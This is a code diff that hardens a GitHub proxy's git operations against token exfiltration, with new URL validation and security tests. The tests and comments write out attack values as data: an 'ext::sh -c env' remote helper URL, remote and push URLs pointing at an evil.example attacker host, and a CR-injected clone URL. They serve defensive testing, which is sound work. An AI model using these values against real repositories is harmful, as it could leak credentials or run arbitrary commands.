diff --git a/python/robomp/src/git_ops.py b/python/robomp/src/git_ops.py index 4a460bce3..2c7669f96 100644 --- a/python/robomp/src/git_ops.py +++ b/python/robomp/src/git_ops.py @@ -30,6 +30,62 @@ log = logging.getLogger(__name__) # Per-call env var name. `git --config-env` reads the header value from this # env entry inside the spawned process — never persisted into `.git/config`. AUTH_ENV_VAR = "ROBOMP_GIT_HTTP_AUTH" +_TOKEN_ALLOWED_PROTOCOLS = "https" +_TOKEN_SAFE_CONFIG = [ + "protocol.allow=never", + "protocol.https.allow=always", + "protocol.http.allow=never", + "protocol.git.allow=never", + "protocol.ssh.allow=never", + "protocol.file.allow=never", + "protocol.ext.allow=never", + "credential.helper=", + "core.askPass=", + "core.hooksPath=/dev/null", + "http.proxy=", + "http.sslVerify=true", + "http.sslCAInfo=", + "http.sslCAPath=", + "http.extraHeader=", +] +_GIT_SUBPROCESS_SCRUBBED_ENV_KEYS = ( + AUTH_ENV_VAR, + "GITHUB_TOKEN", + "GH_TOKEN", + "GITHUB_WEBHOOK_SECRET", + "ROBOMP_REPLAY_TOKEN", + "ROBOMP_GH_PROXY_HMAC_KEY", +) + + +def _git_subprocess_env() -> dict[str, str]: + env = dict(os.environ) + for key in _GIT_SUBPROCESS_SCRUBBED_ENV_KEYS: + env.pop(key, None) + env["GIT_TERMINAL_PROMPT"] = "0" + env["GIT_ASKPASS"] = "" + env["SSH_ASKPASS"] = "" + return env + + + +def _token_url_safe_config(auth_url: str | None) -> list[str]: + if auth_url is None: + return [] + return [ + f"http.{auth_url}.proxy=", + f"http.{auth_url}.sslVerify=true", + f"http.{auth_url}.sslCAInfo=", + f"http.{auth_url}.sslCAPath=", + f"http.{auth_url}.extraHeader=", + ] + + +def _http_extra_header_key(auth_url: str | None) -> str: + if auth_url is None: + return "http.extraHeader" + return f"http.{auth_url}.extraHeader" + _CRED_URL = re.compile(r"(https?://)([^:/@\s]+):([^@/\s]+)@") _BAD_OBJECT_REF_RE = re.compile( @@ -125,6 +181,7 @@ def _run_git( *, cwd: Path | None, token: str | None, + auth_url: str | None = None, extra_env: Mapping[str, str] | None = None, safe_directory: Path | None = None, user: int | None = None, @@ -135,17 +192,18 @@ def _run_git( ) -> subprocess.CompletedProcess[str]: """Run `git ` with optional PAT injection via `--config-env`. + When `auth_url` is supplied, the PAT header is scoped to that exact + HTTPS URL (`http..extraHeader`) and git is restricted to the HTTPS + transport. That keeps a token-bearing invocation from handing the header + to another host, following `url.*.insteadOf` to `ext::`/ssh/file helpers, + or running workspace hooks with the token in the environment. + A returncode of 0 returns the populated `CompletedProcess`. Non-zero exit returns the same shape; callers either `_check` it or inspect manually (e.g. when probing for ref existence). Stdout/stderr are always credential-redacted before being returned. - - On `timeout` expiry the child (and any descendants spawned by git's - helpers) is killed and `GitCommandError` is raised with a synthetic - returncode (124, matching coreutils `timeout`). `None` uses - `_DEFAULT_GIT_TIMEOUT_SECONDS`. """ - env: dict[str, str] = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} + env = _git_subprocess_env() if user is not None and _AGENT_HOME.is_dir(): env["HOME"] = str(_AGENT_HOME) if extra_env: @@ -153,10 +211,17 @@ def _run_git( if safe_directory is not None: _append_safe_directory(env, safe_directory) - cmd: list[str] = ["git"] + cmd: list[str] = ["git", "-c", "protocol.ext.allow=never"] if token: env[AUTH_ENV_VAR] = _basic_auth_header(token) - cmd.extend(["--config-env", f"http.extraHeader={AUTH_ENV_VAR}"]) + if auth_url is not None: + env["GIT_ALLOW_PROTOCOL"] = _TOKEN_ALLOWED_PROTOCOLS + env["GIT_CONFIG_NOSYSTEM"] = "1" + env["GIT_CONFIG_SYSTEM"] = os.devnull + env["GIT_CONFIG_GLOBAL"] = os.devnull + for item in [*_TOKEN_SAFE_CONFIG, *_token_url_safe_config(auth_url)]: + cmd.extend(["-c", item]) + cmd.extend(["--config-env", f"{_http_extra_header_key(auth_url)}={AUTH_ENV_VAR}"]) cmd.extend(args) log.debug("git", extra={"cmd": _redacted_cmd(cmd), "cwd": str(cwd) if cwd else None}) effective_timeout = _DEFAULT_GIT_TIMEOUT_SECONDS if timeout is None else timeout @@ -378,6 +443,24 @@ def _repair_fetch_prune_failure(repo_dir: Path, output: str) -> bool: return pruned_alternates or deleted_refs +def _explicit_remote_env(remote_url: str | None, *, cwd: Path) -> dict[str, str] | None: + if remote_url is None: + return None + local_remote = _local_remote_safe_directory(remote_url, cwd=cwd) + if local_remote is None: + return None + env: dict[str, str] = {} + _append_safe_directory(env, local_remote) + return env + + +def _branch_refspec(ref: str) -> str: + if ":" in ref or ref.startswith("refs/") and not ref.startswith("refs/heads/"): + return ref + branch = ref.removeprefix("refs/heads/") + return f"+refs/heads/{branch}:refs/remotes/origin/{branch}" + + # ---------- Public primitives ---------- @@ -387,6 +470,7 @@ def clone( clone_url: str, default_branch: str, token: str | None, + auth_url: str | None = None, safe_directory: Path | None = None, ) -> None: """Fresh `git clone --filter=blob:none` into `target`.""" @@ -400,24 +484,47 @@ def clone( clone_url, str(target), ] - _check(_run_git(args, cwd=None, token=token, safe_directory=safe_directory), ["git", *args]) + _check(_run_git(args, cwd=None, token=token, auth_url=auth_url, safe_directory=safe_directory), ["git", *args]) -def fetch_prune(repo_dir: Path, *, token: str | None, safe_directory: Path | None = None) -> None: - """`git fetch --prune origin` on the shared pool clone. +def fetch_prune( + repo_dir: Path, + *, + token: str | None, + remote_url: str | None = None, + auth_url: str | None = None, + safe_directory: Path | None = None, +) -> None: + """Refresh `refs/remotes/origin/*` on the shared pool clone. - Pool clones are long-lived. If a transient git object alternate leaks into - the pool and later disappears, `git fetch` can fail before it has a chance - to refresh from origin because a local ref points at an object that only - existed in that missing alternate. Repair that exact corruption in-place: - drop dead alternates, delete refs Git already reported as invalid, then - retry the fetch. + When `remote_url` is supplied the fetch bypasses on-disk `origin` and uses + an explicit branch refspec so checkout and push-lease logic still see + fresh `refs/remotes/origin/*`. """ - args = ["fetch", "--prune", "origin"] _prune_missing_alternates(repo_dir) last_proc: subprocess.CompletedProcess[str] | None = None + extra_env = _explicit_remote_env(remote_url, cwd=repo_dir) + args = ( + ["fetch", "--prune", "origin"] + if remote_url is None + else [ + "fetch", + "--prune", + "--no-tags", + "--filter=blob:none", + remote_url, + "+refs/heads/*:refs/remotes/origin/*", + ] + ) for _ in range(_FETCH_PRUNE_REPAIR_ATTEMPTS): - proc = _run_git(args, cwd=repo_dir, token=token, safe_directory=safe_directory) + proc = _run_git( + args, + cwd=repo_dir, + token=token, + auth_url=auth_url, + extra_env=extra_env, + safe_directory=safe_directory, + ) if proc.returncode == 0: return last_proc = proc @@ -428,7 +535,15 @@ def fetch_prune(repo_dir: Path, *, token: str | None, safe_directory: Path | Non _check(last_proc, ["git", *args]) -def fetch_ref(repo_dir: Path, ref: str, *, token: str | None, safe_directory: Path | None = None) -> None: +def fetch_ref( + repo_dir: Path, + ref: str, + *, + token: str | None, + remote_url: str | None = None, + auth_url: str | None = None, + safe_directory: Path | None = None, +) -> None: """Fetch ```` from origin AND materialize every reachable blob locally. Callers invoke this immediately before a ``git worktree add`` / checkout @@ -451,8 +566,16 @@ def fetch_ref(repo_dir: Path, ref: str, *, token: str | None, safe_directory: Pa caller still attempts the checkout (and a stale-ref worktree add will surface a more actionable error than this fetch ever could). """ - args = ["fetch", "--refetch", "--no-filter", "origin", ref] - proc = _run_git(args, cwd=repo_dir, token=token, safe_directory=safe_directory) + remote = remote_url or "origin" + args = ["fetch", "--refetch", "--no-filter", remote, _branch_refspec(ref) if remote_url else ref] + proc = _run_git( + args, + cwd=repo_dir, + token=token, + auth_url=auth_url, + extra_env=_explicit_remote_env(remote_url, cwd=repo_dir), + safe_directory=safe_directory, + ) if proc.returncode != 0: log.debug( "fetch_ref non-fatal failure", @@ -465,6 +588,8 @@ def fetch_pr_head( pr_number: int, *, token: str | None, + remote_url: str | None = None, + auth_url: str | None = None, safe_directory: Path | None = None, ) -> None: """Fetch ``refs/pull//head`` into FETCH_HEAD with all reachable blobs. @@ -477,8 +602,20 @@ def fetch_pr_head( """ if pr_number <= 0: raise ValueError(f"invalid PR number: {pr_number!r}") - args = ["fetch", "--refetch", "--no-filter", "origin", f"pull/{pr_number}/head"] - _check(_run_git(args, cwd=repo_dir, token=token, safe_directory=safe_directory), ["git", *args]) + remote = remote_url or "origin" + ref = f"refs/pull/{pr_number}/head" if remote_url else f"pull/{pr_number}/head" + args = ["fetch", "--refetch", "--no-filter", remote, ref] + _check( + _run_git( + args, + cwd=repo_dir, + token=token, + auth_url=auth_url, + extra_env=_explicit_remote_env(remote_url, cwd=repo_dir), + safe_directory=safe_directory, + ), + ["git", *args], + ) @dataclass(slots=True, frozen=True) @@ -612,10 +749,12 @@ def push( branch: str, expected_head: str | None, token: str | None, + remote_url: str | None = None, + auth_url: str | None = None, slot_uid: int | None = None, safe_directory: Path | None = None, ) -> PushResult: - """`git push --force-with-lease=: --set-upstream origin ` from `repo_dir`. + """Push `HEAD` with a lease, optionally to an explicit remote URL. The lease is pinned to whatever SHA the local `refs/remotes/origin/` currently records — i.e. what the workspace last fetched. The push only @@ -661,23 +800,57 @@ def push( **slot_kwargs, ) expected_remote = probe.stdout.strip() if probe.returncode == 0 else "" - push_extra_env: dict[str, str] | None = None - origin = _run_git( - ["remote", "get-url", "origin"], cwd=repo_dir, token=None, safe_directory=git_safe_directory, **slot_kwargs - ) - if origin.returncode == 0: - local_remote = _local_remote_safe_directory(origin.stdout, cwd=repo_dir) - if local_remote is not None: - push_extra_env = {} - _append_safe_directory(push_extra_env, local_remote) + if remote_url is None: + push_extra_env: dict[str, str] | None = None + origin = _run_git( + ["remote", "get-url", "origin"], cwd=repo_dir, token=None, safe_directory=git_safe_directory, **slot_kwargs + ) + if origin.returncode == 0: + local_remote = _local_remote_safe_directory(origin.stdout, cwd=repo_dir) + if local_remote is not None: + push_extra_env = {} + _append_safe_directory(push_extra_env, local_remote) + destination = "origin" + refspec = branch + set_upstream = True + else: + push_extra_env = _explicit_remote_env(remote_url, cwd=repo_dir) + destination = remote_url + refspec = f"HEAD:refs/heads/{branch}" + set_upstream = False lease = f"--force-with-lease=refs/heads/{branch}:{expected_remote}" - args = ["push", lease, "--set-upstream", "origin", branch] + args = ["push"] + if token: + args.append("--no-verify") + args.append(lease) + if set_upstream: + args.append("--set-upstream") + args.extend([destination, refspec]) _check( _run_git( - args, cwd=repo_dir, token=token, extra_env=push_extra_env, safe_directory=git_safe_directory, **slot_kwargs + args, + cwd=repo_dir, + token=token, + auth_url=auth_url, + extra_env=push_extra_env, + safe_directory=git_safe_directory, + **slot_kwargs, ), ["git", *args], ) + if remote_url is not None: + update = _run_git( + ["update-ref", f"refs/remotes/origin/{branch}", head], + cwd=repo_dir, + token=None, + safe_directory=git_safe_directory, + **slot_kwargs, + ) + if update.returncode != 0: + log.warning( + "failed to refresh remote-tracking ref after explicit-url push", + extra={"repo_dir": str(repo_dir), "branch": branch, "stderr": update.stderr[:500]}, + ) return PushResult(head=head, branch=branch) diff --git a/python/robomp/src/proxy/server.py b/python/robomp/src/proxy/server.py index 794a18922..018cf8b07 100644 --- a/python/robomp/src/proxy/server.py +++ b/python/robomp/src/proxy/server.py @@ -14,10 +14,11 @@ from __future__ import annotations import asyncio import logging import os +import re import subprocess from collections.abc import AsyncIterator from contextlib import asynccontextmanager -from dataclasses import asdict +from dataclasses import asdict, dataclass from pathlib import Path from typing import Any from urllib.parse import urlparse @@ -151,10 +152,8 @@ def _require_review_comments(value: Any) -> list[dict[str, Any]]: comments.append(comment) return comments - def _pool_dir(cfg: Settings, repo: str) -> Path: - if "/" not in repo or repo.startswith("/") or ".." in repo.split("/"): - raise HTTPException(400, f"invalid repo {repo!r}") + _validate_repo_name(repo) return Path(cfg.workspace_root) / "_pool" / repo.replace("/", "__") @@ -182,19 +181,58 @@ def _resolve_hmac_key(cfg: Settings) -> bytes: _ORIGIN_READ_TIMEOUT_SECONDS = 5.0 -def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str: - """Return the worktree's `origin` remote URL, or raise HTTPException.""" - env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} +_REMOTE_HELPER_RE = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*::") +_FORBIDDEN_URL_BYTES_RE = re.compile(r"[\x00-\x1f\x7f]|%(?:00|0a|0d)", re.IGNORECASE) +_GITHUB_REPO_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9-]{0,38}/[A-Za-z0-9._-]+$") +_GIT_PROBE_SCRUBBED_ENV_KEYS = ( + "ROBOMP_GIT_HTTP_AUTH", + "GITHUB_TOKEN", + "GH_TOKEN", + "GITHUB_WEBHOOK_SECRET", + "ROBOMP_REPLAY_TOKEN", + "ROBOMP_GH_PROXY_HMAC_KEY", +) + + +@dataclass(slots=True, frozen=True) +class _RemoteAuth: + url: str + token: str | None + auth_url: str | None + + +def _validate_repo_name(repo: str) -> None: + if not _GITHUB_REPO_RE.fullmatch(repo) or "/.." in repo or "../" in repo: + raise HTTPException(400, f"invalid repo {repo!r}") + + +def _github_url_for_repo(repo: str) -> str: + _validate_repo_name(repo) + return f"https://github.com/{repo}.git" + + +def _git_probe_env(repo_dir: Path) -> dict[str, str]: + env = {**os.environ, "GIT_TERMINAL_PROMPT": "0", "GIT_ASKPASS": "", "SSH_ASKPASS": ""} + for key in _GIT_PROBE_SCRUBBED_ENV_KEYS: + env.pop(key, None) env.update(_safe_directory_env(repo_dir)) + return env + + +def _read_remote_urls(repo_dir: Path, slot_uid: int | None = None, *, push: bool = False) -> list[str]: + """Read every configured fetch URL or push URL for `origin` without contacting it.""" + env = _git_probe_env(repo_dir) + slot_kwargs = _slot_subprocess_kwargs(slot_uid) + selector = ["--push", "--all"] if push else ["--all"] try: proc = subprocess.run( - ["git", "-C", str(repo_dir), "remote", "get-url", "origin"], + ["git", "-C", str(repo_dir), "remote", "get-url", *selector, "origin"], capture_output=True, text=True, check=False, timeout=_ORIGIN_READ_TIMEOUT_SECONDS, env=env, - **_slot_subprocess_kwargs(slot_uid), + **slot_kwargs, ) except subprocess.TimeoutExpired as exc: raise HTTPException(504, "timeout reading origin url") from exc @@ -204,72 +242,89 @@ def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str: # already captured the failure. log.warning("gh-proxy: failed to read origin url", extra={"repo_dir": str(repo_dir)}) raise HTTPException(400, "could not read origin url for worktree") - return proc.stdout.strip() + return [line.strip() for line in proc.stdout.splitlines() if line.strip()] -def _pat_safe_remote(url: str, expected_repo: str) -> bool: - """Whether git may carry the bot PAT to `url` for `expected_repo`. +def _read_single_remote_url(repo_dir: Path, expected_repo: str, *, push: bool, slot_uid: int | None = None) -> str: + urls = list(dict.fromkeys(_read_remote_urls(repo_dir, slot_uid=slot_uid, push=push))) + if len(urls) != 1: + kind = "push" if push else "fetch" + log.warning( + "gh-proxy: refusing git op — origin has ambiguous remote urls", + extra={"expected_repo": expected_repo, "kind": kind, "count": len(urls)}, + ) + raise HTTPException(400, f"origin must have exactly one {kind} url") + return urls[0] - The PAT is injected via `--config-env http.extraHeader=…` (see - `git_ops._run_git`); git ONLY forwards that header on HTTP(S) requests. - So: - • An HTTP(S) remote MUST resolve to `github.com/` - exactly, with no embedded credentials — anything else and we'd be - handing the bot's token to an attacker-controlled host. - • Other schemes (ssh, file, git://, …) can't carry the PAT header, - so they're safe by construction; the legitimate test path uses - local file remotes. - """ + +def _normalized_github_https_url(url: str, expected_repo: str) -> str: + _validate_repo_name(expected_repo) parsed = urlparse(url) - scheme = (parsed.scheme or "").lower() - if scheme not in ("http", "https"): - return True + if (parsed.scheme or "").lower() != "https": + raise HTTPException(400, f"remote url must be https://github.com/{expected_repo}[.git]") if parsed.username or parsed.password: - return False - host = (parsed.hostname or "").lower() - # Strip optional leading slash, trailing slash, and `.git` suffix. + raise HTTPException(400, "remote url must not contain embedded credentials") + try: + port = parsed.port + except ValueError as exc: + raise HTTPException(400, "remote url has invalid port") from exc + if port is not None: + raise HTTPException(400, "remote url must not specify a port") + if (parsed.hostname or "").lower() != "github.com": + raise HTTPException(400, f"remote url host must be github.com for repo {expected_repo!r}") + if parsed.params or parsed.query or parsed.fragment: + raise HTTPException(400, "remote url must not contain params, query, or fragment") path = parsed.path.strip("/") if path.endswith(".git"): path = path[:-4] - return host == "github.com" and path.lower() == expected_repo.lower() + if path.lower() != expected_repo.lower(): + raise HTTPException(400, f"remote url does not match repo {expected_repo!r}") + return _github_url_for_repo(expected_repo) -def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str, slot_uid: int | None = None) -> None: - """Refuse a token-bearing git op if the repo's `origin` would leak the PAT. +def _remote_auth_for_url(url: str, expected_repo: str, token: str) -> _RemoteAuth: + raw = url.strip() + if not raw or raw != url: + raise HTTPException(400, "remote url must not be empty or padded") + if _FORBIDDEN_URL_BYTES_RE.search(raw): + raise HTTPException(400, "remote url contains forbidden control bytes") + if _REMOTE_HELPER_RE.match(raw): + raise HTTPException(400, "git remote helper transports are disabled") + scheme = (urlparse(raw).scheme or "").lower() + if scheme in ("http", "https"): + normalized = _normalized_github_https_url(raw, expected_repo) + return _RemoteAuth(url=normalized, token=token, auth_url=normalized) + return _RemoteAuth(url=raw, token=None, auth_url=None) - Without this guard, an agent with shell access in the workspace (or with - group write to the shared pool clone) could - `git remote set-url origin https://evil.example/x.git` and the proxy - would happily fetch/push (with the PAT) to that remote. - """ - url = _read_origin_url(repo_dir, slot_uid=slot_uid) - if not _pat_safe_remote(url, expected_repo): + +def _clone_remote_auth(clone_url: str, expected_repo: str, token: str) -> _RemoteAuth: + try: + return _remote_auth_for_url(clone_url, expected_repo, token) + except HTTPException: log.warning( - "gh-proxy: refusing git op — origin does not match repo", + "gh-proxy: refusing clone — clone_url is not permitted", extra={"expected_repo": expected_repo}, ) - raise HTTPException( - 400, - f"origin url does not match repo {expected_repo!r}; refusing token-bearing git op", - ) + raise -def _assert_clone_url_safe(clone_url: str, expected_repo: str) -> None: - """Refuse a clone whose caller-supplied `clone_url` would leak the PAT. - - The pool has no `origin` yet, so there is nothing on disk to validate — - guard the request body directly with the same policy as - `_assert_origin_safe_for_repo`. - """ - if not _pat_safe_remote(clone_url, expected_repo): +def _origin_remote_auth( + repo_dir: Path, + expected_repo: str, + token: str, + *, + push: bool = False, + slot_uid: int | None = None, +) -> _RemoteAuth: + url = _read_single_remote_url(repo_dir, expected_repo, push=push, slot_uid=slot_uid) + try: + return _remote_auth_for_url(url, expected_repo, token) + except HTTPException: log.warning( - "gh-proxy: refusing clone — clone_url does not match repo", - extra={"expected_repo": expected_repo}, - ) - raise HTTPException( - 400, - f"clone_url does not match repo {expected_repo!r}; refusing to clone", + "gh-proxy: refusing git op — origin url is not permitted", + extra={"expected_repo": expected_repo, "push": push}, ) + raise def create_proxy_app(settings: Settings) -> FastAPI: @@ -637,15 +692,16 @@ def create_proxy_app(settings: Settings) -> FastAPI: repo = _require_str(data.get("repo"), "repo") clone_url = _require_str(data.get("clone_url"), "clone_url") default_branch = _require_str(data.get("default_branch"), "default_branch") - _assert_clone_url_safe(clone_url, repo) + remote = _clone_remote_auth(clone_url, repo, _resolve_token(settings)) target = _pool_dir(settings, repo) try: await _run_git_op( git_clone, target, - clone_url=clone_url, + clone_url=remote.url, default_branch=default_branch, - token=_resolve_token(settings), + token=remote.token, + auth_url=remote.auth_url, ) except GitCommandError as exc: return _git_error_response(exc) @@ -656,11 +712,15 @@ def create_proxy_app(settings: Settings) -> FastAPI: data = await _json_body(request) repo = _require_str(data.get("repo"), "repo") target = _pool_dir(settings, repo) - # Block attacker-controlled `origin` from being a PAT exfil channel - # before any subprocess injects the token header. - await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo) + remote = await asyncio.to_thread(_origin_remote_auth, target, repo, _resolve_token(settings)) try: - await _run_git_op(git_fetch_prune, target, token=_resolve_token(settings)) + await _run_git_op( + git_fetch_prune, + target, + token=remote.token, + remote_url=remote.url, + auth_url=remote.auth_url, + ) except GitCommandError as exc: return _git_error_response(exc) return JSONResponse({"pool_dir": str(target)}) @@ -671,9 +731,16 @@ def create_proxy_app(settings: Settings) -> FastAPI: repo = _require_str(data.get("repo"), "repo") ref = _require_str(data.get("ref"), "ref") target = _pool_dir(settings, repo) - await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo) + remote = await asyncio.to_thread(_origin_remote_auth, target, repo, _resolve_token(settings)) # fetch_ref is intentionally best-effort; never surfaces a 5xx. - await _run_git_op(git_fetch_ref, target, ref, token=_resolve_token(settings)) + await _run_git_op( + git_fetch_ref, + target, + ref, + token=remote.token, + remote_url=remote.url, + auth_url=remote.auth_url, + ) return JSONResponse({"pool_dir": str(target)}) @app.post("/gh/v1/git/fetch_pr_head") @@ -682,9 +749,16 @@ def create_proxy_app(settings: Settings) -> FastAPI: repo = _require_str(data.get("repo"), "repo") pr_number = _require_int(data.get("pr_number"), "pr_number") target = _pool_dir(settings, repo) - await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo) + remote = await asyncio.to_thread(_origin_remote_auth, target, repo, _resolve_token(settings)) try: - await _run_git_op(git_fetch_pr_head, target, pr_number, token=_resolve_token(settings)) + await _run_git_op( + git_fetch_pr_head, + target, + pr_number, + token=remote.token, + remote_url=remote.url, + auth_url=remote.auth_url, + ) except GitCommandError as exc: return _git_error_response(exc) return JSONResponse({"pool_dir": str(target)}) @@ -704,16 +778,23 @@ def create_proxy_app(settings: Settings) -> FastAPI: repo_dir = _workspace_repo_dir(settings, workspace_key) if not repo_dir.is_dir(): raise HTTPException(404, f"workspace not found: {workspace_key}") - # Block attacker-controlled `origin` from being a PAT exfil channel. - # MUST run BEFORE any subprocess that would inject the token header. - await asyncio.to_thread(_assert_origin_safe_for_repo, repo_dir, repo, slot_uid) + remote = await asyncio.to_thread( + _origin_remote_auth, + repo_dir, + repo, + _resolve_token(settings), + push=True, + slot_uid=slot_uid, + ) try: result = await _run_git_op( git_push, repo_dir, branch=branch, expected_head=expected_head, - token=_resolve_token(settings), + token=remote.token, + remote_url=remote.url, + auth_url=remote.auth_url, slot_uid=slot_uid, ) except HeadDriftError as exc: diff --git a/python/robomp/tests/test_proxy_server.py b/python/robomp/tests/test_proxy_server.py index d4ba5665a..369298303 100644 --- a/python/robomp/tests/test_proxy_server.py +++ b/python/robomp/tests/test_proxy_server.py @@ -165,11 +165,13 @@ async def _async_client(app) -> httpx.AsyncClient: ) -def test_read_origin_url_uses_safe_directory_and_slot_identity(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: +def test_read_remote_urls_uses_safe_directory_and_slot_identity(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: from robomp.proxy import server as proxy_server captured: dict[str, object] = {} repo_dir = tmp_path / "repo" + monkeypatch.setenv("GITHUB_TOKEN", "parent-token") + monkeypatch.setenv("ROBOMP_GIT_HTTP_AUTH", "parent-auth") def fake_run(cmd: list[str], **kwargs: object) -> subprocess.CompletedProcess[str]: captured["cmd"] = cmd @@ -182,13 +184,16 @@ def test_read_origin_url_uses_safe_directory_and_slot_identity(tmp_path: Path, m lambda uid: {"user": uid, "group": uid, "extra_groups": [2000], "umask": 0o002}, ) - assert proxy_server._read_origin_url(repo_dir, slot_uid=2001) == "https://github.com/octo/widget.git" + result = proxy_server._read_remote_urls(repo_dir, slot_uid=2001) + assert "https://github.com/octo/widget.git" in result env = captured["env"] assert isinstance(env, dict) assert env["GIT_CONFIG_COUNT"] == "1" assert env["GIT_CONFIG_KEY_0"] == "safe.directory" assert env["GIT_CONFIG_VALUE_0"] == str(repo_dir) + assert "GITHUB_TOKEN" not in env + assert "ROBOMP_GIT_HTTP_AUTH" not in env assert captured["user"] == 2001 assert captured["group"] == 2001 assert captured["extra_groups"] == [2000] @@ -735,6 +740,31 @@ async def test_git_clone_creates_pool_dir(proxy_settings: Settings, upstream_rep assert (pool_dir / "HEAD").exists() or (pool_dir / ".git" / "HEAD").exists() +async def test_git_clone_github_url_passes_scoped_token( + proxy_settings: Settings, monkeypatch: pytest.MonkeyPatch +) -> None: + captured: dict[str, object] = {} + + def fake_git_clone(target: Path, **kwargs: object) -> None: + captured["target"] = target + captured.update(kwargs) + + monkeypatch.setattr("robomp.proxy.server.git_clone", fake_git_clone) + app = _build_app(proxy_settings) + body = b'{"repo":"octo/widget","clone_url":"https://github.com/octo/widget","default_branch":"main"}' + async with await _async_client(app) as client: + resp = await client.post( + "/gh/v1/git/clone", + content=body, + headers={**_signed("POST", "/gh/v1/git/clone", body), "Content-Type": "application/json"}, + ) + + assert resp.status_code == 200, resp.text + assert captured["clone_url"] == "https://github.com/octo/widget.git" + assert captured["token"] == _TOKEN + assert captured["auth_url"] == "https://github.com/octo/widget.git" + + async def test_git_fetch_repairs_missing_alternate_and_bad_ref(proxy_settings: Settings, upstream_repo: Path) -> None: pool_dir = Path(proxy_settings.workspace_root) / "_pool" / "octo__widget" pool_dir.parent.mkdir(parents=True, exist_ok=True) @@ -762,6 +792,35 @@ async def test_git_fetch_repairs_missing_alternate_and_bad_ref(proxy_settings: S assert not alternates.exists() +async def test_git_fetch_github_origin_uses_explicit_scoped_remote( + proxy_settings: Settings, upstream_repo: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + pool_dir = _stage_pool(proxy_settings, upstream_repo) + _git(["-C", str(pool_dir), "remote", "set-url", "origin", "https://github.com/octo/widget"], pool_dir) + captured: dict[str, object] = {} + + def fake_fetch_prune(path: Path, **kwargs: object) -> None: + _git(["-C", str(path), "remote", "set-url", "origin", "ext::sh -c env"], path) + captured["path"] = path + captured.update(kwargs) + + monkeypatch.setattr("robomp.proxy.server.git_fetch_prune", fake_fetch_prune) + app = _build_app(proxy_settings) + body = b'{"repo":"octo/widget"}' + async with await _async_client(app) as client: + resp = await client.post( + "/gh/v1/git/fetch", + content=body, + headers={**_signed("POST", "/gh/v1/git/fetch", body), "Content-Type": "application/json"}, + ) + + assert resp.status_code == 200, resp.text + assert captured["path"] == pool_dir + assert captured["remote_url"] == "https://github.com/octo/widget.git" + assert captured["token"] == _TOKEN + assert captured["auth_url"] == "https://github.com/octo/widget.git" + + async def test_git_push_happy_path(proxy_settings: Settings, upstream_repo: Path) -> None: branch = "farm/abc/feature" _, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch) @@ -1054,12 +1113,32 @@ async def test_git_fetch_endpoints_reject_attacker_origin( assert resp.status_code == 400, resp.text +async def test_git_fetch_rejects_ext_remote_helper(proxy_settings: Settings, upstream_repo: Path) -> None: + pool_dir = _stage_pool(proxy_settings, upstream_repo) + _git(["-C", str(pool_dir), "remote", "set-url", "origin", "ext::sh -c env"], pool_dir) + + app = _build_app(proxy_settings) + body = b'{"repo":"octo/widget"}' + async with await _async_client(app) as client: + resp = await client.post( + "/gh/v1/git/fetch", + content=body, + headers={**_signed("POST", "/gh/v1/git/fetch", body), "Content-Type": "application/json"}, + ) + + assert resp.status_code == 400, resp.text + + + @pytest.mark.parametrize( "clone_url", [ "https://evil.example.com/octo/widget.git", # wrong host "https://github.com/attacker/other.git", # wrong repo "https://user:pass@github.com/octo/widget.git", # embedded credentials + "http://github.com/octo/widget.git", # plain http would ship the PAT in cleartext + "https://github.com/octo/widget.git%0dhost=evil.example", # credential-protocol injection + "ext::sh -c env", # remote helper transports can execute code ], ) async def test_git_clone_rejects_unsafe_url(proxy_settings: Settings, clone_url: str) -> None: @@ -1075,3 +1154,32 @@ async def test_git_clone_rejects_unsafe_url(proxy_settings: Settings, clone_url: ) assert resp.status_code == 400, resp.text assert not (Path(proxy_settings.workspace_root) / "_pool" / "octo__widget").exists() + + +async def test_git_push_rejects_attacker_pushurl(proxy_settings: Settings, upstream_repo: Path) -> None: + """`origin` keeps a legit fetch URL but a separate `pushurl` points at an + attacker host. `git push` would use the pushurl, so the guard MUST refuse + before the PAT ships — a fetch-URL-only check would miss this.""" + branch = "farm/abc/pushurl" + repo_dir, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch) + _git( + ["-C", str(repo_dir), "remote", "set-url", "--push", "origin", "https://evil.example.com/octo/widget.git"], + repo_dir, + ) + + app = _build_app(proxy_settings) + body = ( + b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"' + + branch.encode() + + b'","expected_head":"' + + head.encode() + + b'"}' + ) + async with await _async_client(app) as client: + resp = await client.post( + "/gh/v1/git/push", + content=body, + headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"}, + ) + assert resp.status_code == 400, resp.text + assert not _bare_has_branch(upstream_repo, branch) diff --git a/python/robomp/tests/test_sandbox.py b/python/robomp/tests/test_sandbox.py index c54a9cf2e..7dfd5f52d 100644 --- a/python/robomp/tests/test_sandbox.py +++ b/python/robomp/tests/test_sandbox.py @@ -1292,12 +1292,56 @@ def test_run_git_injects_safe_directory_and_subprocess_identity( assert env["GIT_CONFIG_COUNT"] == "1" assert env["GIT_CONFIG_KEY_0"] == "safe.directory" assert env["GIT_CONFIG_VALUE_0"] == "/x" + cmd = captured["cmd"] + assert isinstance(cmd, list) + assert "protocol.ext.allow=never" in cmd assert captured["user"] == 2001 assert captured["group"] == 2001 assert captured["extra_groups"] == [2000] assert captured["umask"] == 0o002 +def test_run_git_scopes_token_and_scrubs_parent_auth_env( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + from robomp.git_ops import AUTH_ENV_VAR, _run_git + + captured: dict[str, object] = {} + + def fake_run(cmd: list[str], **kwargs: object) -> subprocess.CompletedProcess[str]: + captured["cmd"] = cmd + captured.update(kwargs) + return subprocess.CompletedProcess(cmd, 0, "", "") + + monkeypatch.setenv("GITHUB_TOKEN", "parent-token") + 